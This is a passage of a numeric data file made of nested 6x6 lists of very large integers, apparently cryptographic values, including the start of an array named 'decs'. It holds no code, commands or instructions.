1168888526444803924291868279492845217956322680712562211421799837645552433255744395900173892042349172636688101861404896773414028579661301015641406267503827, 8307676367556241030465865911667154755418491039388345767526932278953889131312732355323179135364080085649208641044736578248317119148421511456627180081650047, 3111883634392521585662726441377712558441898247735045724634797815613834787479737455763556806453700269602829897176786944686912691419674834905293916928612403, 493688661625095845632754316439965382734982826018467933521946919606183875577604067566523895593065527258387500288356968626006667045818791030945375791371265, 6672246490840772483328152820802055369074899989726836656614268373590524941644149544728485295788618518339997370708760033538160320833911042156114289430168259]] , [[4294586530722642936230913732280313153324014162135400081989906682467693258981754249388650314342909302403332897052040072868039272184571093012201838964340321, 6851311731105828323508935384408131212989592492085986340490178394613987804277946161747269539307822811773779910247817389225162805300663748270666352664694912, 7445848879449328490484858548937458836874810726938013083419359083403063924579619000179125578952358903504702986501722634764413336868852609114220231520158545, 4245331744608409800948251415401811315377043954627846503577483698684091346108485839172854930100465318721469301971504574388329356861635386776340956419410561, 2524164254835585858547575249056871436345007554440042610074219425984917114029395174632688395035896917704724223519178893446799155149468704315599439767740341, 3079040969490207471709368741103968515943143091614028783336673228555732331897660321609778520391062295987199035149198223393401088192203747979253112799218243] , [2188125640236177761325853053554464439600809922713117197060049687812806966237022273285130579917715518193767676797779333918486292349092082957639341840012013, 5954114384739037961445602960202347946468372717550983864767105412181253131002083972649921499389197883776500760554065477625866643754140920892418175361034094, 161196877018423459477130072332389485653215582939061486440276711149514065908771227465544969481870875455750990873044314177330347591481699945563448476106124, 326569940087117899399973175118512397897376267722474819092581847150412917239894174119650490785178420070080189450598743803454442567987772960256396599814155, 3301252077380374305512176550701911384544265052352967816266146320923681951255255971134223651300690786241704021739952765315676883054879275869129174259833138, 4568088877791822593747508913130037278911145087845848022704553886229696822317289941498149558482536793473292305523241480453324020617483439539823637562939729] , [4142235316184468155383946652709310109790206386549011396265857743955056144907720041893045753774796277558014951898631886253305214194514850581636271448393150, 1505860708579779802632551609865947381020054803091214304835576473913167770033716516183879852424809444359212477179027146718823917701679872216146098250842679, 862995457544552571962897078981704497509922344653036387641185203310028754124566465543795764930760660021518514216339207482103458418097936687140867626651664, 7380999536553929794945329323991276296521566478806749394005852816185202657485437751515555741984322082870761440982045522874765122086616393453518624288482970, 8177872865899998379874804144179981100994754907286004866439820048795477109627968466058964166668732830444380212876099032237429298685424283843207417850980482, 2531756810425209693207802343461520767426727495074093780005982524948202502360216494748505421706675070560277994692428742114656094151005599015977813566066854] , [6012413239108225185118846377674125100624076533901364620955031609880201868348953667083753300650249209931549704442244703646690580289154360443712539662755906, 75478720791987570557638978786617957306242071415729697405854434163206571125662369745735791675779117818890553687862539007518050975276162933287153763530183, 6172258191234383067466415025066292342453944633150297681215825916136098321483099791194342067287913863085527938439026930327889536860415583600549645261495110, 3478026486685252250847811456053848120324037883921786789252387532110297642203456951104817930735414530345554362717170717556082209886160388068405878050810154, 6091287475937491835526776429518913507657248887272965960122968835469307263017006291508462764133499416398582191523731810388969654450921326826138469146771773, 1911975711851516766398139407709197789709745409969770893108067454436507668646905680603265654282908085373460682429979016499086135730542393136042776288721287] , [247607048235078846193431949417599266918305741095175921742741844041886801219092820111970359780202178236269708009124884096234721191886888611962939880229426, 4671245859635075958942633991095376060756694865947685266926252833023839845188233941081884357821287893069593523648094684543533415178614624231307563823351401, 5679273703503918152812232669898291973206737557660055256657927379386522628733001757224178668683554510605996983938105909356133304870897484424204292205515268, 8018681185256784871229059492967727947760537261542163211674140763233904104139454452148287303774439729091138652291781142407590925917529889531270441139906421, 326254091227477180817965783454170870965767896452885532388493678916823013955810072598402438281924110666128100203506218327819701065408806755407311242830738, 6351764683627587285426254487172052276822980587945584990276984099405244031268635472275382151114691984671543910569116020973818432007400352749043075924267223] , [2934084480818665892133298175315611662675750923848403193702575234096133696704420360408812922229952046664786077320398073567283595477092331628751168377260429, 2702971780145465037755452475002972037641878795501654571524736037581495711555764515048562443988879558913647148233447684313507383230737812824146039564631438, 3510009608744725312305137912397957487280451619075546442470816105919906071151134805973394575081517775238921146826060832587697009202633665010598476771475590, 6735600497877785763985120635749781510954256265031451120044373628578040597519091505960229286345532799033567933441513361675596988204228241092707272486292888, 6331570377496859138398107440177059495573658357208322202344572810989546166661904679486139998148952954664520480503964828505186604944549915552937843437842041, 1804183631544749515380449970137190291551922148246932745543193886115473113238103625577173800110106738950279159165741239630881015351100075657555603208156572]] , [[4968683861434171684601355692918598994624099811023292544468652135223903340511708347656789843705004960932393440027854713788525353567373860981507177649773607, 5595705002215941301409024503605721013015469826071690246107482152553843883028284949629950173462732446266241491392805161172384971684999868394197385752445416, 4286737153216173284787867155801768688108523892607929446668619838061094469705559992931980174373515069746066212838661975545002590656805380476542362725271002, 4204089108427436471216147684286411870141895429513017452488126013324281584537102445507275117430536050156362238289255953854213319803935756225117480218383122, 7025685473566478581286387054433719733553531795177678851985157113053593787524636967042269532802589141046592866977635514936516421782571173890597388207549066, 2463151706292928134891805524035274511228046219919510900408646388924380199421744453651847970686739006955949047186310553858056367105435662313213560456611531] , [4891527949940283099704697375041714324696439699082778801351762121938023616389973505015902221643933993175633995511129719111111377890060254242316545299417420, 6331247541175722843144833572707234301083196591139789644478912381354963485110531716582045185563188797635804761631567751743454531102308181403317261223067742, 5799702271552974587368235497113879686330801757476585256123218040617018568872228653730253719132930193061792310101890400376617445858815249879062372000716438, 5285071254826656181653411547841011646885877919352437589006365716334598210869827686730923415703151160538179519148097034508177804527471456572164849312356068, 3488593723018207301771020395877467723891293176723984258976551897896959026994777540305049609868261458037510023081093486672385348566220154697985135310193265, 465709527067128858974544819001709341513008052107253402519547367834589105697731624901398498526586170910264575721202537734329710985577791449558870421150780] , [1698775592830292691960781606887432750870966165173163801511742508351163518732004309112679665488726997307678246989684168613272644762573566694049909867786018, 6762456403165987999571295806935721686561535240411438814452191654809071301774747496301954790819812193827548020001965946275168545485309758940038000259894263, 8053208397205153224118587091941600612430937640575196082466581194373539361534742933993142648949631506019331769416346300029845044434278396155786709863703537, 6431442883269169587447201310292427891017337738666403616507728635718919443116271070115625638893805741562252688290536862255276990999879367754218615944598023, 1961577081848769881624530167388862458722971960047725591513277757972073277689436266637228137009777776001198006540392563233620307460764793210325708393063009, 7424819120528389039413166367502911790631327249932124307559542127663595902765071804368418015688682978263460891327002176010098512425496964487473175150580122] , [3099133037326574470019999137162541445312920361301713736369120667535904254578401662708156610175259332217190643542103061411495105834143373870828914832865002, 160238057392934982555975349611915781645837143713073615920183996903380864206981947105867343162002258474414387207133979082728320621468604309781582511951088, 6784949222656838334237227879971054289305884844425125415930646871142470424628162894774062159557013769730900537576805399947944431961812633037576246377668286, 4771991159213767563692205071745593603786155666455449976593966887126725218122123840771200082010022206861827920348139510860675015265589355532522990639810817, 7078269725463557296288671756507332416717134039679973284500455716873268888041727604449078845419747458015337409768552405138320348550373301903960780110670154, 473043590696156651936592992082529722952354043415035208698954788136973319482547878724520235789279992686903230572966197079862091080647225480694318877833097] , [860308360952054463603678554832209063987952481311950104420577800427756375927658911446570182349376521237033672859268913636478819317333047290118814508992452, 2117728894428050383781683349187845909336374723736919669859270692153507231933166548223872570008851187937388562590434330585430194758410449595201932226443889, 8197401845415390928122696895744194618004324526344851368231497739620939364883081065838752969603564196225450709525862159387503489791210342588632262466086030, 5334112205463788971332794524777461476265456087847083142753118864607149081798628939642108149251407866251517469948458833865202842305916225169609197315795727, 1614395370662982438105904065510318843109739279928729356829880223846164085280733154395904831113364353086361418717316648687269044568724510821076200388146799, 5653475264208344724309438807566406059607008128826086382521847355847734504273935887555493950069681121059847823271259176920253273605885312207539937539689914] , [6340347872017318908956894333407476397371496893443498190375890434197631652422473272888132388384427404544861194233523006008907232629502099183597533807439690, 1801763267709706445555844426959376327673666215229192208493921083690341146196757120470567390909286925855189584391504242923326355047471832162200114296386911, 6261626742078680773544091341916225211553967093815659620515961025963553967728687784024755382080470242071300132301028574691902557046582094732660761872983168, 4660397716658022871431615792588400855257650927421683461538763978330776157777980889890829210068628374684814758277704148006747501373072138010147591119895919, 5715475719538182925576102591997075584923997141089680042140925657206830065724813988725465857588803734171861826250121262083500742508603801135822041531196434, 7700794835235627079708396467395803405253945316799593198326551968277842336451710680326440904239414627790908277676500941871815612380684137252049009143144583]] , [[6026074209279274329990933569668284342503610816563732250654247650674363804660211693285032292481354605420362661212268840643561949774509472817713328688623765, 909265464923786831978209284919880039748910840779768796419560402642413357343703937209973221912375966203231053118164109252039042853920177799805704516103174, 5158778877844193855457945703697926036010006996990419695234126858259473532731325412517070938302865645686267247508514706751034400415632035076212920878422576, 6070474262657979178977938347661660966351994524295895375749070433356950251514118757368845503299007167899299652073996215426524153875420265661792231754887079, 7919681353610591216713480609154619366228624975958065021280890452861263460856957064483441971552814364458934332972301632169075236237746431462791971249801831, 7771845743640663427697751161498079799580920523763081040177308355623663654649248055735868212826978177248773758139438459769910462618115988338830544068378585] , [2858333287432894788717637973374075855887601445385187506076430340303150920651992568577569802829952112513489114683328642851829498455744369082012778154906666, 2147863743702927379471013395121431888225423219634031486896606309614350211386659011116045718039977043618504300347316373917977349212350478123296759318796773, 6898475899408474684193661789505079425257427204739916629730618697188816139730012187358851368029282255373737626083372988331451791582790305710035363236959336, 3509338163209541637005355465942153610385634020589949535952926042076346456968055895321223699750408090861171600814869653793502315828908555578715033087896149, 3241592416202741216192687999950150744045296387443426578085929718855951296491032239447448473892111884352600341528256403833356980243026312896400575656049809, 5789458318992433122033130154478274178079166374283077681307396263075408723093607935671594325045057384123641606218001182051391994886038253855366849529354753] , [6344734283849448435040456120881038004894442078928666345775855613571699888679383513902187131582592735413062485915147985358493759047071343064236145727908219, 2919186457664364434140689147489970659081118115921303679252481616027317195706543864009789709548011945928680678321726205496580911093238728814017533667594973, 5641011729571636967413581090749612826658826261050023702081301346576604566805849840103569634482879952047204742375339465263433179139875477538150726701763265, 6648778066220911288490633083608635846932196677947592098351814691279093080035501956075117122447914641863393811924621742329179392915154448372371014065504445, 7619291037330181094946596768025264171717411660456382927894459664090758812717122046283771698376285527937037674035398887373177130077492103742062212886163025, 5642266477967826822913189671524005865414019376726305508463935836642936385469546081989947849866560577494659019739596070221094118703247102059464743878568891] , [4262947026630164601858257129588431955897190063963508972179727886786019259048968177194271008752391161568653004262683974674414149273856486366228543344913000, 1869560572007735124678304924227461987092285103203641068918925148799333468129332831832870895875917780813031821937201367347963933727892590872108299012005869, 5755029907289847859049113746767461325074061536502133051252255981211365749791511858197802369296271568697697709341939739327750403558317960291951172764498781, 3241776025309710871791852789847911737036999175777475448208696464457037977086550412211729231764676546174077682994919805913962597750838490410677877013728679, 8219268112466518365390174242457284021680068693089614302528336198136387871485670976958645252762747084522276720090485457669338953541862551371200885270765815, 1683726293640745842740690561302686830031530461687176323143208659837668235136711057358493177404064747390647736777994614018745841060015177249145906861105473] , [5065978317023450886869636923128240935192234622477004794992269341285699515157069559780410655984628572299512568759480188645284776307245338451417439134381242, 834609417068851012804881790592092206146283825477798786079589540168257196863472197624866369199517025460199386220442733623568603104317650584392857367233381, 8323036515592231699175116720556320612328626764120469566466703238400941700366660438206702621802846038596252803470969979900669870335818141988801335913197312, 1360397733765332909364374129600335209346554498028740392100519691722941406311347756497423040440596315739821204842341334740440306545267896315279385209180102, 2676810376308276168570457483867670902787901207942587380088818908288267563610106817220355331680484281456097962585320084246177558207079050833163151172240100, 5235304962197501762186977784019622237371274488352582544352491891989926021338490722150706721573792918987895316036714533978543263817127613123649317308494547] , [6834288668098063589238774995348641267783026738082709752327889836217087372874387973055669326959508393206838052929912759681026360888464723120042349885188434, 673652273323259000657228240998131535223013486465728777271551865123550251285003576138850540816422919438741762970198719949755190787198382360763273312590315, 7212526317272871542189039326192976929138398259716565154496031930321310719288306828588752473478544979007905825037835297842412849240912391179000858676799712, 5251885809216336886160723907008203992087044109974083392131987588746818933121837766428376662469891136113986104404675393851386590872504064514493464555038925, 1651157632355642135828289539558817376205460777539819298783108948714324618572576384136957273517032073902785009635243894065127631582097051032304091520027841, 5346704789523742907790623142409450623003295048473687834443737913041729246709285231357410413236097410528723341348129830251075816904565861886692668785582732]] ,decs = [[ [[2844109057510656923952466146137977471293285267640412110199566979647354787906393156285834223940331193724189323464515484588843099726061450009464982167363979, 125916803622691675236944550713708261925575740355980424077863979267031143507142192003574195189606667919494728339899426590217941804787294091472836181979618, 2301116634732889691363783861688383805064805446983873924596986057123279745240097714252600957729107714044009450138910574228537794368157134175788489075101887, 318718888938183765413971514294620140188603772378957854020135927374029520979205807536035574112228698461453451334048806756709044268568170142201246274686358, 3581548137718255728735441891380935286649671069122492881974861581931460069998261032905255738809084983342499581115329928181006735187866597554565940406350071, 1932683864738983160770065609046590104547856589329224769538100818719624851753414261001979606628833175081417784893481924555671396711895564910212218499713899] , [2691317270866646045841863507061509422688151115399279272371014131635199743858944160207654869176928742872340793619768467281473074230762295646747198713946222, 2803821056668490611294073034573880698996327904364163613205066574880527207299722854493866385187457761354302112778750196964656219820117464591255587308956436, 7416674009208964021097121209524722754130842961724743081225001189966422801760770094830849512824989896782951038592712997139362070945792784323896787016169498, 3719840184651929957984572911239124079676389954211575123651119707259410824660795471354443799954849344767103278906571962515225176776757396456460541090109094, 2995544769758489298457142704209171657842738808927299330647038687710285584575338814061938327334458358987508853584418885238419183886108202465972930887110887, 5940859133985870915014135841063105428429837789335747298640249558337025498825081253006863038681921317009963110394635229471678948725009932123395016843274036] , [6376082358307257451205749418623852069997118930527314479534416555061858248170276757794093459526296308636373578776821341205910374376279234772810872748881983, 5066085503905096161136623097858570177957856682751451379070933347866958687538283356956487171430495292006265706430883197827230180336457644140372104724328334, 4142966158080332138958719296085307659474717767714537501855968569758510970898872704183969562028412015410390256327865091382562555916585490197551596901677206, 4616305000603287130514044371825742017052053964265541993650947153875101145638101586361278669954032766812737814100175724020289904342726054385277067676286804, 1113166586662803480963680152395157664454191074594839033967987761361054152225757464530635973020791602189280083008256756203699233356957633033034670156172928, 8216329012163198093711885101307543317315889194811330016537462700419616347968354448796223058848426932258539288048586370741307658014138324630712418973432157] , [364144574555009374750297629257274852374873723241785904499383818065495098908411646970636775717040065121435911253901267143831014003000039425075016593782034, 2858861295025590619087561528126895614881737776383493147663429048617262956170206200354493086400425789054162639058587230773727350065071069269350309590382596, 4264223566593622407978704074379629908789895617004358370463725929072038443697798175371172235998190853788062285303030286777519421275896099550692440604442681, 4294586530722642936230913732280313153324014162135400081989906682467693258981754249388650314342909302403332897052040072868039272184571093012201838964340321, 4091451910401992698266846737330721816141689812358014978331516770284464442271586784945440841874291832834672748424139549035428286622373862616028211338012061, 6438339303446640067227579174820262172629981330890794511531592941109554289154769324894722805821509664279434967416237787981010479929922911967058929166679865] , [5587093334135995986083360735485352854204527368470966702769228925775590084206906792273318925629470517002469802532918770202200217394138681758119484325066414, 3593328610123630778194362893561992060897854624730802836732605699869636402914783766363191454248648305612169940263300125706226785753523449789499843720440358, 3588030508028373611956236719360864811827502120910892768736216902649395284530510962777095486823540689694372081471034907908333781589795406000490642488041949, 6459014302685621753137017438065170120388446661864597875000129904060489261462745479477730691304387568706557792731987212886798260259885831493545409654489369, 4968683861434171684601355692918598994624099811023292544468652135223903340511708347656789843705004960932393440027854713788525353567373860981507177649773607, 7233689984894869853565759454569272654636093458603536889360627120961556618496782619599624378501284446870230187889012735008829819516472168433196508127237603] , [1945846165037523437516007090824291155275598508513657591554739203953826550004896307961950067281013940665818485203222990124547430406790237630242537045757105, 1102332120520063207293963623066527250484197278409152148555970978042797699606426242744435378285203945667722991845746930315998426492487436955497858827380329, 6644551238015566636915955801892798663419551962816439736650695789330973509225903446281229957833585877801555323798222450360207463711668293923945603317882608, 2669903916837893511869573380361941722065271422699858673015676916787860149509729586702413980191629024230851144830580838295829430204275324666071004934248179, 6217455310432758496081099525018232738411640273771126540899100532737437894949526826114679009854341393425978876590691222905876917609379827977150856405292547, 6026074209279274329990933569668284342503610816563732250654247650674363804660211693285032292481354605420362661212268840643561949774509472817713328688623765]] , [[4941693658577867681038303101840510409533819832854703323965355625735153841765106813962542715811856254964742636832021227882811022942130841930358478558435907, 56171036128205755508538883963102969387344558464074098260555547217734898756638846378122970948913199830771092707777015698772354889777968705078189427181854, 6136910796662164005318180252428152756538635100940303658937334261945816257239532909517822522800060910877696064358242455528757222352937425632080755535570643, 6575029294988852338910771857289799382124197275600512689161019702859051570531333559918048551982503481396090767310523642336090023288588211266526798423915203, 1536593019898319782004109596204518227363355012525799598037158964058749260805802603510466868822335287693509076074505942961974563287211708993398495203027353, 7165628519647891975965561176354464305529552416246459135682260620798703689880463230701330530599818131538835341567069795370681541522412969700666271610502977] , [6608644479135878879961825267876166502003041756536554107464364729439150899307064811380614092195919101042854516287180555508113549664681197773924855302077717, 7355166896338964348820964068017746975540070022013196213734834768516181706828725637574436549441910722096531288758959579331909936735146191357660917332907963, 7997904514493817490586518572853164792048787226390785788551843811891786798035373096802564620036519892508964279551129533485642605668581577457921406917703628, 6887892800632606484966558821910100587474377609714336387215011916998719144166180216376775746119340429617469018718382473019320602847288453898298013618625672, 1880342575107077139310453841624157122627857267706235649672743116863424533690342105809373845174660939915193088657359205926902135232090322064962024549140331, 8209966839199345636176507549604144933930044434533882499384594299499620447950333026194246848876698349809284346969041263670092495850625513868459415207331293] , [1539425521774194159103749134992077113728917995375408476147592683150250155998443923659668798688032671852165800007791069242841829311771687251398346216852039, 6339191367272680905832707192005648733065964384720506610953614140382168141137552804505989932753211729812892394500653203034510843757056387704423194592354712, 6710234940392904619450564864329878239437191922729346269321730292801235450918443521840531827334495750234543839693795456479565117572881828439207757113404606, 7317296873783588837226089832500656366101062036385800804765238510994442328971968178343001888541022192242079501390014957341979886899161199213035008572713419, 3165037339984685931103205643383245621113545665082925694243632527922230737221604174919378736040017933838598333250170888664829181854903491324046610817342082, 3531261591525418419516039745535954920523249258954899083880341731445279772807798631871211623073404205368112754759178329288010056968576174335619638125826295] , [5204063723491395164990632503029915007599486118612882113586609632013943809054391382895377849024452784264411336649522892824154686936348729402865052927664731, 3398040247474293255865133456998190360562192505666142609086019263717792331578546567655781777245885805607693539548030290145453075413000418755157866736275022, 8205373056469945005243614638634735238748657099969778504535202804165817976151987839248794088773952900089951888388680137769044913759514770041717505159070826, 5954114384739037961445602960202347946468372717550983864767105412181253131002083972649921499389197883776500760554065477625866643754140920892418175361034094, 5553196416270743203036096331868866135180441744999427545785206688761693598557196098777463203340235933924825359289835743632917795730021344545672414911826665, 7703609971013701061033433064764787030933187045656042408206018347581350091770903003772734923115290648827087472314637301867646445993321820042935303426444085] , [5428421476705708804797591046800332903917270814329577101043427295849392558464636824810106143836948629832913405203887906542694982280317583695740776781685978, 7808024587606381841823012626694158383559956351297545851896267128157284093280307059390301992332006352198229255562903928114383069957165592046027297547291208, 5557854276381146344301338564968515042781540284154192447366776662721405758456202166909698765387912756786068744274097915604483404199857965374920308024277502, 1186480628993799509238406868671529548036728026210245963073518659436254029535526137519999258410544453828223237435930081036049062573877578921127233038929511, 6331247541175722843144833572707234301083196591139789644478912381354963485110531716582045185563188797635804761631567751743454531102308181403317261223067742, 2452607997188601940012581768760483474370192500420900777417313690866068695293422376404019750992669006376665329160197967816780539339986730346478453761248568] , [4051964780981721538892082627724566661632802765494656781895385914849186941862732373355616633061764416088396797548173138170497410128113600981520238816212394, 5442598131799872257365547011319499399904328099429997104986567216465017344799976192299422328073001764480217561658850288034925157546543820236297579425559516, 1335428489420253557529104258741582963116885318559308033255904033006750289486781668030090459873315506801206960798019731486160673014810731061840533470808219, 8035425483059224938922467922794604370628942801045728952009318306136251266217670866370498339498092389841679383834666252775162628045178053924972937568748807, 327862721427656078695469662045438319136656590718013216222496781044326648606852849035298726678131030847518281499963931064743996054768383423962543795662429, 2147863743702927379471013395121431888225423219634031486896606309614350211386659011116045718039977043618504300347316373917977349212350478123296759318796773]] , [[4618213424565770411146840748114321323709066783329600365846065614659523847332403706350098558642482910217163851943566972776691293991332624500698677406980768, 797833652665786793611580416043483828968635724808050836936686284384288339874063909590210156337886279694067425375089119737969132653776565161006552634438777, 5074727449642845050548866024415222938937656270779409966777004787922358676060564650197716401718542950735856848360798894265170697028517868194425580167317106, 6034231640855875550713768013713537478059561553103969817356312638994388780709053787190129171728830136469071155773743802883520123198040378490346819960501035, 3668465071934316173822714740079284165491129803550087860690273712036617098296110778788943145288839852554180019384291106135558789352087057450692277214886858, 3646451777707571366690402280701107003450433045113342512743140688509051488936457321469153399682963354265264518320373301379793541293214052610141413314092676] , [5873140898166520344390164680198077282484427275978132653852328196961186159448587863181905176206158917851832904142521515321598586336875929394975184648885399, 3441946893521007741421732590063713555766555240284318674271124018119364508764887431406902462550146113764240464256827512351400430511618321455132612294688862, 7104921243735709731265242482270621705186914514258311345546176216299935571689923362380965167531067334857055001586546932040743128151797043165751526223349496, 1952732632034318055372601298963831261354049773018759250909308552680612576341102988093171040041432875677544549449262593590884103984847130039744898716911251, 861050253111600784514967740838855856694210678106908462736687233622328317244905060748728241577784094782437148665953059153280464798579330360842182218772070, 1779400964077963275269919475596752980144598164803349120181828124689374764393210795111476507696106106279362644720221184691978510520332784567657001049192067] , [1466351673349208425635868506832678626425971243915771149541555417960026500356366231752070753237087635066517752816841077548934529972754036796985785860705389, 8343267038136168252955315526973295394969412090232334329437962345492898886136512021569038691760745811930327312086280126983058509149092363499993619206419406, 2462864971287447708964822871813409504140747459549362890067151215613292331696212627896633552129568697175511348654874942332715044494016075272784917786947218, 129749993256360389349676260422988889733730113606404025012820994884340607003087642049927195909122214936401271588007158151366475169094876977665810741835155, 5489042892453908057602400782439519123177001149640230172414231339879498671985910167630218528920706509861771611063590509906159926142075793460870451169099750, 3510011116550773352516395906986871266038212319222011400872717513555679891579899393480777877925684185726326136902699859805899438183695701819382015278422217] , [3346233429296957306814387562425616675581515073080126756998190338084188359231153260593380678546853944784137138359500642062265091186377055320153308711959357, 6674450588885860327145530960825581631438769858152132247294446186819959456253107436959924296952478909529245675138682338232965585020869723858678551711413049, 1671028109195293854205209526893646252756854484887568775126074644383503273079390961081836592023149021257608316055332871183817232777228553186819734015904735, 862995457544552571962897078981704497509922344653036387641185203310028754124566465543795764930760660021518514216339207482103458418097936687140867626651664, 4097624284239463293409097755185003822236306958116960040445900847305145463728180796321717770886441788509161889425577363521121106699862791528562241301149721, 1168000093293649540494083183331271443062968306774219328095608943035613707675386388436362968036647528512821524896194702042471212815080704564629805723506240] , [544237836178792311834851103403069780813384605286274102856306992736455826856678540340034633965166932251047697760630096454307857933690845741638214848954216, 6917137412015796267037919457778857176441889792058781318163072406147330212794145254416925657940593080424796534857373501149285623336153554350235582033876303, 7749149334635546934299245786008571752316330928013574107506253746586030320370782908125098460411300758308607464404271325075079038281238559677474472746948375, 6010459480645052371578334738312073802221232667371338467608468494169382976195775981600713016439759648301958150036030930001577898158822621808638381275987724, 8053208397205153224118587091941600612430937640575196082466581194373539361534742933993142648949631506019331769416346300029845044434278396155786709863703537, 2613992124586939315486854557910065038469449414282516834884104219423001547527692668102429135074492238815772807365110829340569039761293584225127548674696168] , [74497055925961749021449502070381123451196923510452576765937746007989994193549226001616204878794708122357532651921737280680166307935457788270712113761456, 7588257623548625713289457954468579278674145819181185052222613183473418474866878301242769487727805907651384983988402794543196324883901900406363777733603722, 8304740518227692028080951978530321210144770410519999608197851220506595302061124470335554509980637375785937814503494452395699430787496857740874803678213207, 7295692695661461383175113151202710028893599170744867156457570900261268643847310849733886301356325424424668391089095052780916146288963096768973904399866261, 3014151605317886476265608585006133585757671383824608897419961767831805471356192444153734734179027335137552010763127797288433105271279054443395315707533539, 5641011729571636967413581090749612826658826261050023702081301346576604566805849840103569634482879952047204742375339465263433179139875477538150726701763265]] , [[2688399857269946331943050840478987147469925875094059311995962934264463639665931000004316272555656696677155690631708201620746426398363571565978286218984002, 6308029144747958665246395708616075023307033724731211689891994654289888562311295551991688974349818166974389110403682827074289995711123279546083331209231265, 2152011515980725420669808885317800002590474041895676686512312738664405660018781318056249819885058019476733887657564482745536452249481178512269958596590230, 6819731034964828931841686789033658349304148381634985757230241695469398774621581755474573641628383386570332719916439712306669541956627644269313092760876260, 4581664498822654567804201699805726362105886776941844466771940157621988229894102417300587124552394707896873994045201880301439454981399869890002018631403747, 3790391680081197414651336448070665979584574578350631658103571121492434639726291911403471102378438185563920630890965302942457212967437362833437120082704625] , [7587832352708932802864674791308325470365692592839142580958969033771567213442408736119921813168087877720958630170523851625515148628144664231931876956707386, 4593859473771566885377512892325350785046727314256554621801809437883226073913499295032360693198614710666268276506172043380434238268834982567189996699511803, 3012930839631619751733551074850627582599372521869098141371338458050841274588801535747637882710669197517797228074996293626650392662390972880329743724246085, 6046444396333509512662430307455624543969851086322401672840058765815134849226896539102363961646080461358070544881738838509556652334974165010886960682947681, 7915038020993086428409029784703089142250356894325456099924117499971727953299963294767668921362215306788261955812719283693964181938168198457511002286663595, 3700685951509570395835732849255994496145994869449173962630415520447033149643812226050198594056926221940113818601235744379493910952998116767281520012438180] , [5051135080072861288798435824503110926994493619586245642460877880935752533515940196736169083797175764433762946678725893887858519385471685741552158529711276, 4102452874189482900524516981356786501197215832466956832817896838054663136765460104493801314869232759245133030456663626153667325758368279203778403432167740, 6306187871445324721376028421212670926552209813936211954520585336810602819267101506169718411421085148520086757665184120904287963419432043464919483057889859, 8328463466878712357313253597849642119569898605708059781061663754766211682048352203469195772736253373810214056772615440398633838901856411113830699894028465, 6792826073105939873548388201953839873511062908686062106913623174036319189281934299265013193622515976679150220086212298338695977994879351935051323515019725, 8222846534254829017465474490124055984869791814151427753473235321005609679939356328656972535469231806107671122663048839094219850517783054335244532555523173] , [3224859092637084414354411757846114488051905333691150307140504291739518185949079400485330657809362670203758062221915633950568994535207362393891762112759213, 1402213184987687066473420113301291318947369461630152474675998702355080682116923891579872909936779692586430073361789636509965905709544271009812782560170261, 4938156402135532483449602834359857275247357120687553783936631304847299511487993180810248854600136936744615435937883396705582356322840802517280942999688676, 3478026486685252250847811456053848120324037883921786789252387532110297642203456951104817930735414530345554362717170717556082209886160388068405878050810154, 5005068559735767319230350882159667676326296721912586682081472060979786792450524503756347953787133748024741685340873319209665339750665659595129267838724047, 7611267542910413742864285271293198211217621166864242229900616279101604969849441935423682615592901088027744831142761813333332038967085050085153868636999389] , [1014414274464156389545887226471576007761853927035338985136533491973433772975257339792553409486536524724353149236175919357824388859589016173188078077544033, 7895138478046132656991279703137609694170854693851576758647957367888621325306284581080934827097026107157210615304175172340829324703784897725230628183706786, 5176615217071731589702948277923734636443872704037638473482289661043716019888704737763354260348856139062485783768726715584135447436124158730742161914891551, 2097836864953804378531689095465408458369427097280901198203599718467594836880835567307831867127941722028682757812487712436283696296458947234888473138795739, 4771991159213767563692205071745593603786155666455449976593966887126725218122123840771200082010022206861827920348139510860675015265589355532522990639810817, 2556505047659214709675163115561631793697740584576810567166618831599306359182599941080724275734024102715328015954454731737423615177051807859090091090443794] , [681533232518836985289954800204156351077079822942520143600452578095367034898668130667529896315193148854619919663954540988289801372079675164665542460107361, 1250221324909133315777380655846656103749650131290697378565324568377782229062513394587727898375482701685037999041225396581295398170197587722204515994930450, 2986395300837570550870677677696621832455805179189205862994626042937278335849178892402982806468533967804109247741429284249954632439250338615415480008234827, 3842018511852504122498199184515997741982923387046998311137498610169243624216674767262683322192215528258119752070686830123883419745010157250560986939427524, 4640056504383112245586533751493756860209550650970050673042450028152879682379483766057544789016990961020117905189009677752546361605873827041840445232333009, 3241776025309710871791852789847911737036999175777475448208696464457037977086550412211729231764676546174077682994919805913962597750838490410677877013728679]] , [[3925778235441558180881453368193221291691056546093085629719575442507425164108074468891396652205650879889352716808664348173992523215390473908898279233801414, 6786236996055436847088656629009571857079021280691151803850611635847176412935426902102220660966708023472464567722741215102149358257283707850226844498176338, 5336601022505450016415061694023852903796368651287115305963559754445490803150781351830931355559102791684084040692129886780782904068496696739166373225781182, 998868830631254637983637521012035822140662269216170110192996151931756960950320954174523240474157438927120506516208572469379223565138309388961430181881695, 1708759996913140886988216976125001687286182686839095567390266582350483709924884932173272391250162358270445073028626761217680251493023914391510743515217811, 5358389653989286662502363312276141964701054873298546069125330585565060633006885059531042580273849934632172848238339750423863700593945261237875263708271576] , [6566818891908601642198888392330156930042068651759819152370527365997552190681188977857404446537050534609642348362614396990717378593009470491269698893719927, 1031101775942775287016866592108364909981264870277981971770663139913917773964280054850517647630443278419275580826809411711239874520744416138903427799244555, 6524752095282814630322258945430094637255402513614451322991838708184387336044724033932990451659241316766022270457485764637463023839355357500021618566070292, 2613884497206606013004885461414659237183478942574139230341683815390781718949756154589598490701210069252522878818743551035827011661118582086327381137013000, 6399504294264274736463546412013840740786493641707197875156001976248296035018683882373417088510862746265515980757045470425584455202655092042474712427811853, 7648153586167154617533946886977499718050396558647026402819513881039439266700846695482170207864197173955461792054948157539361109466291302344683138018628610] , [7807660711822637762557988261857971231614795200807011392219450030081625035602009408344323020532241277458049256413234095662342187032693814510628974220553789, 6404290005910285845288888756695548069946128563034760743200772996164632994710554175824643672683171898070653465170235743970808387164291288410255592252665479, 7145820732880643161292993687975828061608307352265755530784841001628971312586770768906184846878446322646098014767246222344293599082131962615681304617559937, 7628253420868446165455236407732101093891526753322184971669618231430181405070158455474847663291294176810947596822159250033173103223766616159185920485946728, 2090313038890847900095317779072404893497882149338354748318837249302187827614992193357505154265032174283442253885368383749997435310732830544400884064365018, 5219899086734560823989485770691671166722062251862050324141103205321249132758034981966264229432003323127304005180305229765593770315281339268149302548405905] , [5780077132944548981315087748862031838264177043627647708417829007727204033260341880372990490057155497846523781967705196773723910298757508898564491062760036, 7764572114806542067976787720634340703411819807450756682140679026395918479537011742465926434525359106327770790857794576278823847946952438676340969128270524, 